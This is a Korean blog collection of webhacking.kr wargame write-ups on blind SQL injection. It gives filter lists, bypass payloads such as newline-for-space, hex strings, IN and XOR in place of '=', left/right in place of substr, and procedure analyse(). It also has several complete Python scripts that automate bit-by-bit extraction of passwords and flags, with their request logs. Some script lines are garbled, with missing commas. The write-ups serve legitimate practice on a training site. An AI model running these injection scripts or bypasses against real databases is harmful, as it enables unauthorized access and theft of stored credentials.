if(eregi("and",$_GET[lv])) exit();
if(eregi("\(",$_GET[lv])) exit();
if(eregi("\)",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi(",",$_GET[lv])) exit();
if(eregi("/",$_GET[lv])) exit();
if(eregi("by",$_GET[lv])) exit();
if(eregi("desc",$_GET[lv])) exit();
if(eregi("asc",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();
if(eregi(" ",$_GET[lv])) exit();
if(eregi("%09",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id from members where lv=$_GET[lv]"));

echo($q[0]);
if($q[0]=="admin") @solve();

}
?>
<!-- index.phps -->
</body>
</html>

2009-11-13 20:00:00 

필터된 문자

union

from

select

or

and

(, )

limit

,

/

by

desc

asc

cash

공백

%09




SELECT id from members where lv=$_GET[lv]

id가 admin이면 된다. lv=1000 || id=0x61646d696e

공백은 %0a로 채워준다. lv=1000%0a||%0aid=0x61646d696e%23










위와 같이 1,2,3 번을 누른 화면이다. 파라미터로 no를 전달하며 no=3 일 때 힌트 페이지를 제공해준다.

데이터베이스 안에 칼럼은 id, no로 구성돼있고 11자리인 칼럼이 답인 것 같다.

URL에 no 칼럼이 보이니까 id 칼럼이 문제의 답이다. 


no 파라미터에 1,2,3 이외 숫자를 입력하면 Password 입력폼만 출력된다.

이것을 통해 참/거짓을 구분할 수 있고 Blind SQL 인젝션 공격을 할 수 있다.

2018/09/07 - [WEB Hacking/정리] - [MySQL] Blind SQL 인젝션 :: IF문



이전에도 이러한 비슷한 문제를 풀어서 no=IF(조건, 1,100)와 같이 참이면 no=1, 거짓이면 no=1000으로

쿼리문을 만들어 id 값의 정보를 얻을 수 있다.

2018/09/06 - [WEB Hacking/webhacking.kr] - [webhacking.kr] 13번 Blind SQL 인젝션 equal bypass



no=IF( (length(id))IN(1),1,1000)

no=IF( (length(id))IN(2),1,1000)

no=IF( (length(id))IN(3),1,1000)

...

no=IF( (length(id))IN(5),1,1000)

no=1일 때 id 길이는 5이다.


no=IF((substr(id,1,1))IN(0x61),1,1000)

no=IF((substr(id,1,1))IN(0x62),1,1000)

...


no=1일 때 id 는 Apple이라는 것을 얻었다.

그럼 분명 no=2일 때 id는 Banana일 것이고 no=3일 때 id가 이 문제의 답이라는 것을 추측할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import urllib2
import urllib
import re
 
TrueKeyword = "<b>Secret</b>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'PASSSWORD'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#   password length   
#    ex) no=IF((length(id))IN({}),3,1000)
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-09/index.php?"
 
for i in xrange(1,50):
    injectParams = "no=IF((length(id))IN({}),3,1000)".format(str(i))
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        break
pw_len = i
print "password length :" + str(pw_len)
 
 
##################################################################
#    password string 
#    no=IF((substr(id,{},1))IN({}),3,1000)
##################################################################
count=1
password = ""
for i in xrange(1, pw_len+1):
    for j in xrange(65127):
        # injectParams = "no=IF((substr(id,{},1))IN({}),3,1000)".format(str(i), hex(j))
        injectParams = "no=IF((substr(id,"+str(i)+",1))IN("+hex(j)+"),3,1000)"
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        count+=1
        if find:
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j))
            break
        else:
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j))
 
    password += chr(j)
 
 
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
 
 
 
cs




첫번째 텍스트 입력폼에 값을 입력하면 no 라는 파라미터로 서버에 전달된다.

1을 입력하면 화면에 1이 출력되고 그 이외 값은 전부 0이 출력된다. (0을 입력할 경우 재입력하는 것 같음)

no=100 or 1=1# 을 입력해 항상 참이되는 결과를 출력하려 했지만 필터처리된다.



// 필터 문자

#

--

/**/

=

<, >

like

ascii

hex

char

mid

and

||   or는 필터처리안하면서?..

&&

left

right

limit


...



// 사용가능한 문자

or

substr

bin

lpad

(, )

IN


필터 우회(equal 우회)

// no = 100 or 1 IN (1)

no=100%0aor%0a1%0aIN%281%29 를 URL에 입력하니 참 페이지가 출력됐다.

이번 문제도 블라인드 SQL 인젝션을 통해 힌트에 나온 flag 값을 추출해보자.


우선 flag의 길이를 확인할 것이다.

no=100 or length(flag) IN(flag 길이) 와 같이 참이 되도록 하나하나 입력해보다 안나와서 뭐지 싶었다.

no=1 or length(flag) IN(flag 길이)로 바꿔서 항상 참이 되도록 한 다음 서버로 보내도 Result 0이 출력되었다.

순간 뭐지? 하다가 추측한 결과 flag는 다른 테이블에 있는 필드라는 것이다. 


결과화면을 보았을 때 쿼리문을 추측하면 다음과 같다.

<?

...


if($_GET['idx'] < 0){ echo "no hack!"; exit; } if(!empty($_GET['idx'])){ $qry = "SELECT * FROM test WHERE idx=".$_GET['idx']; $result = mysql_query($qry,$connect); $num_rows = @mysql_num_rows($result); if($num_rows){ echo "<table border=1 cellpadding=10 width=200><tr><td>result</td></tr><tr><td>".$num_rows."</td></tr></table>"; }else{ echo "<table border=1 cellpadding=10 width=200><tr><td>result</td></tr><tr><td>".'0'."</td></tr></table>"; } }


...

?>


힌트에서도 나왔듯 flag 필드는 prob13password라는 테이블에 존재한다.

no=IF((SELECT length(flag) from prob13password) IN(flag 길이) , 1,2) 와 같이 prob13password에서 flag 길이가 맞으면 1, 틀리면 2를 no 파라미터에

전달한다. no 파라미터가 1이면 result는 1로 출력되고 그 이외 값은 0을 출력하는 특성을 이용한 것이다.


하지만 현재 prob13password 테이블에는 레코드가 1개 이상 존재하여 아래와 같은 오류메시지를 출력한다. (로컬에서 테스트해본 결과)

ERROR 1242 (21000): Subquery returns more than 1 row

따라서 limit 등과 같이 특정 레코드만 추출할 수 있어야 하는데 필터돼있다.

우선 레코드가 몇개 존재하는지 count() 집계 함수를 사용해 알아낸다. (집계함수는 SELECT 또는 HAVING 절에 위치함. 다른곳은 못씀.)

no=IF((SELECT count(flag) FROM prob13password)IN(2),1,100) 에서 참이 출력됐다. prob13password 테이블에 레코드는 2개존재하며 

특정 레코드를 추출하기 위해 min, max() 함수를 사용한다.

no=IF((SELECT length(min(flag)) from prob13password) IN(flag 길이) , 1,2) 




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import urllib2
import urllib
import re
 
TrueKeyword = "<td>result</td></tr><tr><td>1</td>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'PASSWORD'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?"
bin_pw =""
for i in xrange(1,8):
    injectParams = "no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        bin_pw+='0'
    else:
        bin_pw+='1'
 
print "password length :" + str(int(bin_pw,2))
 
 
##################################################################
#     password string 
#    select substr(lpad(bin(hex(substr(pw,{},1))),7,0),{},1);
#    no=IF((SELECT substr(min(flag),{},1) from prob13password) IN({}),1,2)
##################################################################
count=1
password = ""
for i in xrange(1int(bin_pw,2)+1):
    bin_tmp = ""
    for j in xrange(0x210x7F):
        injectParams = "no=IF((SELECT substr(min(flag),"+str(i)+",1) from prob13password) IN("+hex(j)+"),1,2)"
        injectParams = injectParams.replace(" ","%0a")
 
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j))
        count+=1
 
        if find:
            password+=chr(j);
            break
 
 
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
cs



XOR 연산자를 통해 = 필터를 우회할 수 있다.

[참고]

2018/09/06 - [WEB Hacking/MySQL] - [MySQL] equal(=) 우회 (IN, regexp, like, XOR)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import urllib2
import urllib
import re
 
TrueKeyword = "<td>result</td></tr><tr><td>1</td>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passsssword'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) no=(SELECT length(min(flag)) from prob13password)^{}^1
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?"
bin_pw =""
for i in xrange(1,51):
    injectParams = "no=(SELECT length(min(flag)) from prob13password)%5E"+str(i)+"%5E1"
    injectParams = injectParams.replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        break
 
print "password length :" + str(i)
 
cs




// Efficient Blind SQL 인젝션 

ascii 함수가 필터돼서 위 스크립트 방법으로 했는데 ascii 함수와 동일한 기능을 하는 함수를 알게됨

ord() 함수로 ascii 함수가 필터처리 된 것을 우회할 수 있음.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import urllib2
import urllib
import re
 
TrueKeyword = "<td>result</td></tr><tr><td>1</td>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passssword'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?"
bin_pw =""
for i in xrange(1,8):
    injectParams = "no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        bin_pw+='0'
    else:
        bin_pw+='1'
 
print "password length :" + str(int(bin_pw,2))
 
 
##################################################################
#     password string 
#     no=IF((SELECT substr(lpad(bin(ord(substr(min(flag),{},1))),7,0),{},1) from prob13password) IN(0),1,2)
##################################################################
count=1
password = ""
for i in xrange(1int(bin_pw,2)+1):
    bin_tmp = ""
    for j in xrange(18):
        injectParams = "no=IF((SELECT substr(lpad(bin(ord(substr(min(flag),{},1))),7,0),{},1) from prob13password) IN(0),1,2)".format(i,j).replace(" ","%0a")
 
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        count+=1
        if find:
            bin_tmp += '0'
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, 0)
        else:
            bin_tmp += '1'
    print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, 1)
 
    password += chr(int(bin_tmp,2))
 
 
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
 
 
 
cs






18's password : challenge13luckcle

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),1,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 128's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),2,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 129's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 130's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 130's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 131's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 131's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 132's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 132's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 133's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 133's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 134's injection =1

19's password : challenge13luckclea

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),1,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 135's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),2,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 136's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 137's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 138's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 138's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 139's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 139's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 140's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 141's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 141's injection =1

20's password : challenge13luckclear

PASSWORDDDDDDDD is :challenge13luckclear




로그인을 누르면 guest 계정으로 로그인된다.

우선 어떤 것들이 필터되었는지 확인하자.


// 필터문자


%20

union

/

*

or

limit

order

ascii


// 사용 가능 문자


select

(

)

0x

like

<, >

length

substr

mid

lpad

conv

hex


관리자 계정으로 들어가기 위해 no=-1||no=2%23 을 url에 직접 입력하였더니 관리자 비밀번호 재인증 페이지로 이동되었다.

이 문제는 아래와 같이 기존에 Blind SQL 인젝션 스크립트를 사용해도 된다. 하지만 너무느려서 검색을 하다 효율적인 Blind SQL 인젝션 알게됐다.

https://blog.silnex.kr/efficient-blind-sql-injection/



// 기존 Blind SQL 인젝션 스크립트


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import urllib2
import urllib
import re
 
TrueKeyword = "admin"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passwd'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length 
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-29/index.php?id=guest&pw=guest&"
for i in xrange(1,100):
    injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 length(pw)<{} -- ".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall("admin", data)
    if find:
        pwLen = i-1
        break
 
print "password length :" + str(pwLen)
 
 
##################################################################
#     password string 
##################################################################
 
password =""
 
for i in xrange(1,pwLen+1):
    for j in xrange(33128):
        # LIKE statement use '%', '_'
        # if chr(j) == '%' or chr(j) == '_':
        #     continue
 
        injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(pw,{},1)={} -- ".format(str(i), str(hex(j)))
        injectParams = injectParams.replace(" ""%0a")
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall("admin", data)
        print "[+] Request : " + injectParams + "->"+ "(" + chr(j) +")"
 
        if find: # Bytes is required, not str.
            password = password + chr(j)
            print "#### %d's password#### : "%(i)+password
            break
 
print password
cs





앞서 링크한 블로그에 너무 잘 설명되어있어 간략하게 기술하자면

기존 Blind SQL 인젝션과 같은 경우는 한글자를 알아내기 위해 아스키코드33 ~ 126까지 하나하나 대입해야하므로 굉장히 느리다.


하지만 Efficient Blind SQL 인젝션 스크립트를 이용하면 굉장히 빠르다.

예를 들어, 패스워드 길이를 구하려한다면 lpad(bin(length(pw)),7,0)으로 2진수 7자리로 변환해준다.

패스워드 길이가 10이면 0001010이 되고 substr() 함수로 각 자리를 1번씩만 비교하여 총 7번의 비교로 패스워드 길이를 구할 수 있다.

(아래 스크립트 22~37 라인에 해당함)


앞서 링크를 보면 패스워드를 구하기 위해 substr(lpad(bin(ascii(substr(pw,1,1))),7,0),1,1) 를 사용했는데

이 문제는 ascii 함수를 필터처리 했다. 따라서 substr(lpad(conv(hex(substr(pw,1,1)),16,2),7,0),1,1) 와 같이

hex로 우회한 뒤 conv 함수로 16진수를 2진수로 변환 후 7자리가 되도록 0으로 패딩하고 substr 함수로 

한자리씩 비교하였다.


+추가  ascii 함수가 필터돼서 hex함수로 우회하고 2진수로 변환했는데 ord() 함수도 ascii() 함수와 동일한 기능을 한다.


혹시 나중에 까먹었을 때 금방 눈에 들어오게 substr(lpad(conv(hex(substr(pw,1,1)),16,2),7,0),1,1) 를 풀어 설명하자면

pw = "abcd" 일 때


1. substr(pw,1,1) -> 'a'

2. hex('a') -> 61

3. conv(61, 16, 2) ->1100001  // conv 함수는 진법 변환 함수로 16진수 ->2진수로 변환했다

4. lpad('1100001',7,0) -> 1100001 // lpad 함수는 왼쪽에 0으로 패딩값을 채우는 것이다.(7자리)



// efficient Blind SQL 인젝션


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import urllib2
import urllib
import re
 
TrueKeyword = "admin"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'YourPassword'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) select substr(lpad(bin(length(pw)),7,0),{},1);
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-29/index.php?id=guest&pw=guest&"
bin_pw =""
for i in xrange(1,8):
    injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(lpad(bin(length(pw)),7,0),{},1)=0 -- ".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall("admin", data)
    if find:
        bin_pw+='0'
    else:
        bin_pw+='1'
 
print "password length :" + str(int(bin_pw,2))
 
 
##################################################################
#     password string 
#    select substr(lpad(conv((hex(substr(pw,{},1))),16,2),7,0),{},1);
##################################################################
count=1
password = ""
for i in xrange(1int(bin_pw,2)+1):
    bin_tmp = ""
    for j in xrange(18):
        injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(lpad(conv((hex(substr(pw,{},1))),16,2),7,0),{},1)=0 -- ".format(i,j).replace(" ""%0a")
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall("admin", data)
        print "[+] Request : " + injectParams + " --> {}'s injection".format(count)
        count+=1
 
        if find:
            bin_tmp += "0"
        else:
            bin_tmp += "1"
 
 
    password += chr(int(bin_tmp,2))
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
cs



// 실행 결과 화면




<!--


hint


rank table

====================

ip ( = id )

score

**password** --> small letter

====================


-->



http://webhacking.kr/challenge/web/web-31/rank.php?score=-1%20or%201=1# 을 입력할 때 나오는 화면이다. 

즉, 참일 때 localhost 라는 텍스트가 출력되고 거짓일 땐 없다.

힌트에서 rank 테이블은 ip, score, password 3개 필드로 구성되었다고 주어졌다. 또한, 패스워드는 소문자?


score 파라미터 값에 따라 화면에 출력되는 id : // 값이 바뀌는 것을 보면 score를 이용하는 것이 분명하다.

추측하면 다음과 같다.


SELECT * FROM tb WHERE score=$_GET['score'] 


싱글쿼터를 삽입해도 에러가 발생하지 않는 것으로 보아 score는 싱글쿼터가 없는 숫자 값이다.


-1 or 1=1#

-1 or 1=2#


참/거짓 페이지를 이용한 블라인드 SQL 인젝션 공격으로 이번 문제를 풀어보자.

목록으로 랭커들을 출력하기 때문에 UNION SELECT 공격으로 시도했지만 UNION SELECT 모두 필터처리됨.


또한, 필터 함수를 확인해봤는데 블라인드 SQL 인젝션에 사용하는 내장함수를 대부분 필터했다.

대표적으로 substr, substring, mid, ascii, char... 다행히 length 함수는 필터안되어있다.


이 문제를 통해 substr이 필터되었을 때 left, right 함수를 사용해 우회가 가능하다는 것을 알게되었다.

ex) substr("abc",2,1); -> 'b' //  right(left("abc",2),1) 두 함수 결과는 같다.



문제 의도가 패스워드를 알아내는 것 같은데 칼럼을 알아야 인젝션을 시도할 수 있다.

어떻게 풀지 몰라서 검색한 결과 procedure analyse() 함수라는 것을 알게되었다.

본 함수는 테이블 각 칼럼에 대한 최적의 데이터 형식을 제공하거나 칼럼 정보를 출력하는 함수이다.




자세한 내용은 이전 게시물을 참조하면 됨.

2018/09/03 - [WEB Hacking/흔적] - [MySQL]SQL 인젝션 :: procedure analyse()

procedure analyse() 함수는 LIMIT 절에도 사용할 수 있으며 앞서 추측했던 SELECT 쿼리에도 적용가능하다.



SELECT id, score, password FROM tb WHERE score=-1 procedure analyse() 를 입력하면

id : webhacking.challenge55_game.ip 가 화면에 출력된다.



다른 필드 값을 구하기 위해 LIMIT 구를 사용한다.


score=-1%20limit%200,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.ip

score=-1%20limit%201,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.score

score=-1%20limit%202,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.pAsSw0RdzzzZ


왜 score 가 음수일 때만 필드 값이 나오는지 모르겠음 ㅡㅡ
아는분 있으면 댓글로 알려주세요..



rank 테이블은 ip, score, pAsSw0RdzzzZ 3개의 필드가 존재한다.

따라서 비밀번호를 블라인드 SQL 인젝션을 통해 구하면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import urllib2
import urllib
import re
 
TrueKeyword = "localhost"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'password'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length 
##################################################################
 
blind_target_url = "http://webhacking.kr/challenge/web/web-31/rank.php?"
for i in xrange(1,100):
    injectParams = "score=-1 or length(pAsSw0RdzzzZ) like {} --".format(str(i)).replace(" ","%20")
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall("localhost", data)
    if find:
        pwLen = i
        break
 
print "password length :" + str(pwLen)
 
 
##################################################################
#     password string 
##################################################################
 
password =""
blind_target_url = "http://webhacking.kr/challenge/web/web-31/rank.php?"
 
for i in xrange(1,pwLen+1):
    for j in xrange(33128):
        # LIKE statement use '%', '_'
        if chr(j) == '%' or chr(j) == '_':
            continue
 
        injectParams = "score=-1 or right(left(pAsSw0RdzzzZ,"+str(i)+"),1) like "+str(hex(j))+" -- "
        injectParams = injectParams.replace(" ""%20")
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall("localhost", data)
        print "[+] Request : " + injectParams + "->"+ "(" + chr(j) +")"
 
        if find: # Bytes is required, not str.
            password = password + chr(j)
            print "#### %d's password#### : "%(i)+password
            break
 
print password
cs



원래 '='를 필터 하는 문제가 많아서 like로 아무 생각없이 코딩했다가 자꾸 %에서 참이 나오는 바람에 엄청 시간을 많이 소비했다.

LIKE는 % 또는 _ 를 문법으로 사용하기 때문에 LIKE로 블라인드 SQL 인젝션 스크립트 만들 때 주의해야함.


[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x3e%20--%20->(>)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x3f%20--%20->(?)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x40%20--%20->(@)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x41%20--%20->(A)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x42%20--%20->(B)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x43%20--%20->(C)              

